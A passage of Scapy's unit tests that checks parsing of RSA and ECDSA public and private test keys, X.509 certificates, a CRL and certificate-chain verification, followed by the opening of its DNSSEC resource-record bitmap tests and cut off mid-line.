PubKey('0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\x98Wj?\xe9\xd3\x11\x9b\xa4KIK?\xec\xa3\xd6\x03H\x9a\xc1\x08\x7f\xb3\xf6\xc9$\xee\x9d\xc7\x98\xc7\t&\xe1Q9A\x17\x83m\xbd\x8b\xe7\xf1\xcb\x03\xdaO\x98\x87\x90-*\xbf\x06\x03\xb5\x99\xe3\x9cl\xe4\x89\xd9\x85GCo\x0cC\x9e\xbe\xf0*\xdb\xea}\xbc\x8b\'\x17\xe2\x1at\x1fp1D\x08\xe1\xd1\xe7W\xfa\xad\xf2\x8a[\xd8\'\x85\xbd\xfc\xd9\xc8o\xfc\x00g\x04\xb4\xa0\x98\x9f\xfe\xd4\xe4T^\xfb\x1f&\xc0|\x97^\xe4J\x9b\xa7\xe6\xc2(\x8b\xccZv\xa6n\x1fCEL\xa3\xac\x10Y\xa3\x97@\xd6\x8d\xf6\xce\x9b\x85\x06\xb2]#\xc7fR\x9c=\x82\xd7\xf4\x17@Z\xf2Q\x99\x9b\xc5*sA\xb2]\xe5\xce%A6\xbb\xb0\xa22\xed\xcc\xef\xb0L\xe9\x92\xcbM\xca0\xe7\xe6\xd0"i&L\xbdR\x1a\x1c\xf0~)\xcc\x13W\xba\xa7q\xe6\xff\xfaC\x8e\xe2o\x15\xa66\xdaM9.\x02\xee\xca\xa79\xf6\xf1b\x07t\xe8\x95\xdc\xfc\xf8\x06\xcc6;\xf3\x03\x02\x03\x01\x00\x01') type(y) is PubKeyRSA = PubKey class : key format is DER y.frmt == "DER" = PubKey class : checking modulus value x.modulus == y.modulus and x.modulus == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163L = PubKey class : checking public exponent value x.pubExp == y.pubExp and x.pubExp == 65537L = PubKey class : Importing PEM-encoded ECDSA public key z = PubKey(""" -----BEGIN PUBLIC KEY----- MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4 Jd5qtmDF2Zu+xrwrBRT0HBnPweDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END PUBLIC KEY----- """) type(z) is PubKeyECDSA = PubKey class : checking curve z.key.curve.name == "SECP256k1" = PubKey class : checking point value z.key.pubkey.point.x() == 104748656174769496952370005421566518252704263000192720134585149244759951661467L ########### PrivKey class ############################################### + PrivKey class tests = PrivKey class : Importing PEM-encoded RSA private key x = PrivKey(""" -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5 QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0 H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bC KIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0Gy XeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJv FaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI/1GX NMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCK vGiCEX2GesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPx Xtex4ABX5o0Cd4NfZlZjpj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXt KkDp9h1jTGGUOc189WACNoBLH0MGeVoSUfc1++RcC3cypUZ8fNP1OO6GBfv06f5o XES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3OcWv6IWdOmg2CI7MMBLJ 0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+jYdkbHb3a BYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl 3dE/ymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7 iTOUL6b4e3lQuHQnJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5u WmBllqAHZYR14DEYIdL+hdLrdvk5nYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL 3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMCgYBBwCUCF8rkDEWa/ximKo8a oNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsuG4/Nm/RBV1OY uNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi KgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23Qx UBU0rYDxoKTdFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBG pUJHeDK+0748OcPUSPaG+pVIETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6 AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Qg2S+SgLE+F1U4Xws2rqAuSvIiuT5 i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx0iljob6uFyhpl1xg W3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI -----END RSA PRIVATE KEY----- """) type(x) is PrivKeyRSA = PrivKey class : checking public attributes assert(x.modulus == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163L) x.pubExp == 65537L = PrivKey class : checking private attributes assert(x.prime1 == 140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969L) assert(x.prime2 == 136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027L) assert(x.exponent1 == 46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369L) assert(x.exponent2 == 58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269L) x.privExp == 15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833L = PrivKey class : Importing PEM-encoded ECDSA private key y = PrivKey(""" -----BEGIN EC PRIVATE KEY----- MHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK oUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP weDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END EC PRIVATE KEY----- """) type(y) is PrivKeyECDSA = PrivKey class : checking public attributes assert(y.key.curve.name == "SECP256k1") y.key.privkey.public_key.point.y() == 86290575637772818452062569410092503179882738810918951913926481113065456425840L = PrivKey class : checking private attributes y.key.privkey.secret_multiplier == 90719786431263082134670936670180839782031078050773732489701961692235185651857L ########### Cert class ############################################## + Cert class tests = Cert class : Importing PEM-encoded X.509 Certificate x = Cert(""" -----BEGIN CERTIFICATE----- MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYD VQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQK Ew5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2Vz MSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI hvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcNMDYwNzEzMDczODU5 WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlz MQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNV BAsTFU11c2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkg VGVzdCBjZXJ0aWZpY2F0ZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNo cm9vbS5jb3JwMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nT EZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/ BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9 /NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA 1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLL Tcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3To ldz8+AbMNjvzAwIDAQABo4IBHzCCARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxW jG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLoYG8pIG5 MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlz MRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO IFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRl MScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD 5wkLcTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvH MWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZI88XA5XM6QolmfyKnNromMLC1+6C aFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2LR5kHe9RvSDuoPIsb SHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3gh8dR /kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpH o060Fo7fVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFx r3s7V77y -----END CERTIFICATE----- """) = Cert class : Checking version x.version == 3 = Cert class : Checking certificate serial number extraction x.serial == 0xB45E7043E7090B71 = Cert class : Checking signature algorithm x.sigAlg == 'sha1-with-rsa-signature' = Cert class : Checking issuer extraction in basic format (/C=FR ...) x.issuer_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Checking subject extraction in basic format (/C=FR ...) x.subject_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Checking start date extraction in simple and tuple formats assert(x.notBefore_str_simple == '07/13/06') x.notBefore == (2006, 7, 13, 7, 38, 59, 3, 194, -1) = Cert class : Checking end date extraction in simple and tuple formats assert(x.notAfter_str_simple == '03/30/26') x.notAfter == (2026, 3, 30, 7, 38, 59, 0, 89, -1) = Cert class : Checking RSA public key assert(type(x.pubKey) is PubKeyRSA) assert(x.pubKey.modulus == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163L) x.pubKey.pubExp == 0x10001 = Cert class : Checking extensions assert(x.cA) assert(x.authorityKeyID == '\xf3\xd8N\xde\x90\xf7\xe6]\xd2\xce3\xcd\\V\x8co\x97\x141K') not hasattr(x, "keyUsage") = Cert class : Importing another PEM-encoded X.509 Certificate y = Cert(""" -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/ BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv 6pZjamVFkpUBtA== -----END CERTIFICATE----- """) = Cert class : Checking ECDSA public key assert(type(y.pubKey) is PubKeyECDSA) assert(y.pubKey.key.curve.name == 'SECP384r1') y.pubKey.key.pubkey.point.x() == 3987178688175281746349180015490646948656137448666005327832107126183726641822596270780616285891030558662603987311874L = Cert class : Checking ECDSA signature y.signatureValue == '0d\x020%\xa4\x81E\x02k\x12KutO\xc8#\xe3p\xf2ur\xde|\x89\xf0\xcf\x91ra\x9e^\x10\x92YV\xb9\x83\xc7\x10\xe78\xe9X&6}\xd5\xe44\x869\x020|6S\xf00\xe5bc:\x99\xe2\xb6\xa3;\x9b4\xfa\x1e\xda\x10\x92q^\x91\x13\xa7\xdd\xa4n\x92\xcc2\xd6\xf5!f\xc7/\xea\x96cjeE\x92\x95\x01\xb4' ########### CRL class ############################################### + CRL class tests = CRL class : Importing PEM-encoded CRL x = CRL(""" -----BEGIN X509 CRL----- MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoT DlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcy MzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6LcgXDTA0MDQwMTE3NTYxNVowIQIQ OkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBBXYg2gRUg1YCDRqhZ kngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEwOTE4 MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13e GPI5ZoKmj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5Ve Fw0wMTEyMTExODI2MjFaMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIR s3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZ zXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBkDCYJI5C3nLlQA49LGJ+w 4GUPYBwaZ+WFxCX1C8kzglLm -----END X509 CRL----- """) = CRL class : Checking version x.version == 1 = CRL class : Checking issuer extraction in basic format (/C=FR ...) x.issuer_str == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority' = CRL class : Checking lastUpdate date extraction in tuple format x.lastUpdate == (2006, 11, 2, 0, 0, 0, 3, 306, -1) = CRL class : Checking nextUpdate date extraction in tuple format x.nextUpdate == (2007, 2, 17, 23, 59, 59, 5, 48, -1) = CRL class : Checking number of revoked certificates len(x.revoked_cert_serials) == 7 = CRL class : Checking presence of one revoked certificate (94673785334145723688625287778885438961L, '030109180612') in x.revoked_cert_serials ########### High-level methods ############################################### = Cert class : Checking isIssuerCert() c0 = Cert(""" -----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIJAJmDv7HOC+iUMA0GCSqGSIb3DQEBCwUAMIHGMQswCQYD VQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEl MCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEzMDEGA1UECxMq aHR0cDovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMTQwMgYD VQQDEytTdGFyZmllbGQgU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcy MB4XDTE1MTAxMzE2NDIzOFoXDTE2MTEzMDIzMzQxOVowPjEhMB8GA1UECxMYRG9t YWluIENvbnRyb2wgVmFsaWRhdGVkMRkwFwYDVQQDDBAqLnRvb2xzLmlldGYub3Jn MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAseE36OuC1on62/XCS3fw LErecm4+E2DRqGYexK09MmDl8Jm19Hp6SFUh7g45EvnODcr1aWHHBO1uDx07HlCI eToOMUEW8bECZGilzfVKCsqZljUIw34nXdCpz/PnKK832LZ73fN+rm6Xf/fKaU7M 0AbfXSebOxLn5v4Ia1J7ghF8crNG68HoeLgPy+HrvQZEWNyDULKgYlvcgbg24558 ebKpU4rgC8lKKhM5MRO9LM+ocM+MjT0Bo4iuEgA2HR4kK9152FMBJu0oT8mGlINO yOEULoWzr9Ru3WlGr0ElDnqti/KSynnZezJP93fo+bRPI1zUXAOu2Ks6yhNfXV1d oQIDAQABo4IBzDCCAcgwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcD AQYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWgMDwGA1UdHwQ1MDMwMaAvoC2GK2h0 dHA6Ly9jcmwuc3RhcmZpZWxkdGVjaC5jb20vc2ZpZzJzMS0xNy5jcmwwWQYDVR0g BFIwUDBOBgtghkgBhv1uAQcXATA/MD0GCCsGAQUFBwIBFjFodHRwOi8vY2VydGlm aWNhdGVzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMIGCBggrBgEFBQcB AQR2MHQwKgYIKwYBBQUHMAGGHmh0dHA6Ly9vY3NwLnN0YXJmaWVsZHRlY2guY29t LzBGBggrBgEFBQcwAoY6aHR0cDovL2NlcnRpZmljYXRlcy5zdGFyZmllbGR0ZWNo LmNvbS9yZXBvc2l0b3J5L3NmaWcyLmNydDAfBgNVHSMEGDAWgBQlRYFoUCY4PTst LL7Natm2PbNmYzArBgNVHREEJDAighAqLnRvb2xzLmlldGYub3Jngg50b29scy5p ZXRmLm9yZzAdBgNVHQ4EFgQUrYq0HAdR15KJB7C3hGIvNlV6X00wDQYJKoZIhvcN AQELBQADggEBAAxfzShHiatHrWnTGuRX9BmFpHOFGmLs3PtRRPoOUEbZrcTbaJ+i EZpjj4R3eiLITgObcib8+NR1eZsN6VkswZ+rr54aeQ1WzWlsVwBP1t0h9lIbaonD wDV6ME3KzfFwwsZWqMBgLin8TcoMadAkXhdfcEKNndKSMsowgEjigP677l24nHf/ OcnMftgErmTm+jEdW1wUooJoWgbt8TT2uWD8MC62sIIgSQ6miKtg7LhCC1ScyVuN Erk3YzF8mPwouOcnNOKsUnkDXLA2REMedVp48c4ikjLClu6AcIg03ZU+o8fLNqcZ zd1s7DbacrRSSQ+nXDTodqw1HB+77u0RFs0= -----END CERTIFICATE----- """) c1 = Cert(""" -----BEGIN CERTIFICATE----- MIIFADCCA+igAwIBAgIBBzANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTExMDUwMzA3MDAw MFoXDTMxMDUwMzA3MDAwMFowgcYxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTMwMQYDVQQLEypodHRwOi8vY2VydHMuc3RhcmZpZWxk dGVjaC5jb20vcmVwb3NpdG9yeS8xNDAyBgNVBAMTK1N0YXJmaWVsZCBTZWN1cmUg Q2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDlkGZL7PlGcakgg77pbL9KyUhpgXVObST2yxcT+LBxWYR6ayuF pDS1FuXLzOlBcCykLtb6Mn3hqN6UEKwxwcDYav9ZJ6t21vwLdGu4p64/xFT0tDFE 3ZNWjKRMXpuJyySDm+JXfbfYEh/JhW300YDxUJuHrtQLEAX7J7oobRfpDtZNuTlV Bv8KJAV+L8YdcmzUiymMV33a2etmGtNPp99/UsQwxaXJDgLFU793OGgGJMNmyDd+ MB5FcSM1/5DYKp2N57CSTTx/KgqT3M0WRmX3YISLdkuRJ3MUkuDq7o8W6o0OPnYX v32JgIBEQ+ct4EMJddo26K3biTr1XRKOIwSDAgMBAAGjggEsMIIBKDAPBgNVHRMB Af8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUJUWBaFAmOD07LSy+ zWrZtj2zZmMwHwYDVR0jBBgwFoAUfAwyH6fZMH/EfWijYqihzqsHWycwOgYIKwYB BQUHAQEELjAsMCoGCCsGAQUFBzABhh5odHRwOi8vb2NzcC5zdGFyZmllbGR0ZWNo LmNvbS8wOwYDVR0fBDQwMjAwoC6gLIYqaHR0cDovL2NybC5zdGFyZmllbGR0ZWNo LmNvbS9zZnJvb3QtZzIuY3JsMEwGA1UdIARFMEMwQQYEVR0gADA5MDcGCCsGAQUF BwIBFitodHRwczovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkv MA0GCSqGSIb3DQEBCwUAA4IBAQBWZcr+8z8KqJOLGMfeQ2kTNCC+Tl94qGuc22pN QdvBE+zcMQAiXvcAngzgNGU0+bE6TkjIEoGIXFs+CFN69xpk37hQYcxTUUApS8L0 rjpf5MqtJsxOYUPl/VemN3DOQyuwlMOS6eFfqhBJt2nk4NAfZKQrzR9voPiEJBjO eT2pkb9UGBOJmVQRDVXFJgt5T1ocbvlj2xSApAer+rKluYjdkf5lO6Sjeb6JTeHQ sPTIFwwKlhR8Cbds4cLYVdQYoKpBaXAko7nv6VrcPuuUSvC33l8Odvr7+2kDRUBQ 7nIMpBKGgc0T0U7EPMpODdIm8QC3tKai4W56gf0wrHofx1l7 -----END CERTIFICATE----- """) c2 = Cert(""" -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1 HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0 HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3 4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg 8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1 mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- """) c0.isIssuerCert(c1) and c1.isIssuerCert(c2) and not c0.isIssuerCert(c2) = Cert class : Checking isSelfSigned() c2.isSelfSigned() and not c1.isSelfSigned() and not c0.isSelfSigned() = PubKey class : Checking verifyCert() c2.pubKey.verifyCert(c2) and c1.pubKey.verifyCert(c0) = Chain class : Checking chain construction assert(len(Chain([c0, c1, c2])) == 3) assert(len(Chain([c0], c1)) == 2) len(Chain([c0], c2)) == 1 = Chain class : Checking chain verification assert(Chain([], c0).verifyChain([c2], [c1])) not Chain([c1]).verifyChain([c0]) scapy-2.3.3/test/dnssecRR.uts000066400000000000000000000165101300136037300160740ustar00rootroot00000000000000# DNSSEC Ressource Record unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/dnssecRR.uts -F + bitmap2RRlist() = example from RFC 4034 RRlist2bitmap([1, 15, 46, 47, 1234]) == '\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' = [0] RRlist2bitmap([0]) == '\x00\x01\x80' = [0,1,2,3,4,5,6,7] RRlist2bitmap([0,1,2,3,4,5,6,7]) == '\x00\x01\xff' = [256,512,4096,36864] RRlist2bitmap([256,512,4096,36864]) == '\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' = [65535] RRlist2bitmap([65535]) == '\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' + From RRlist2bitmap() to bitmap2RRlist() = example from RFC 4034 b = 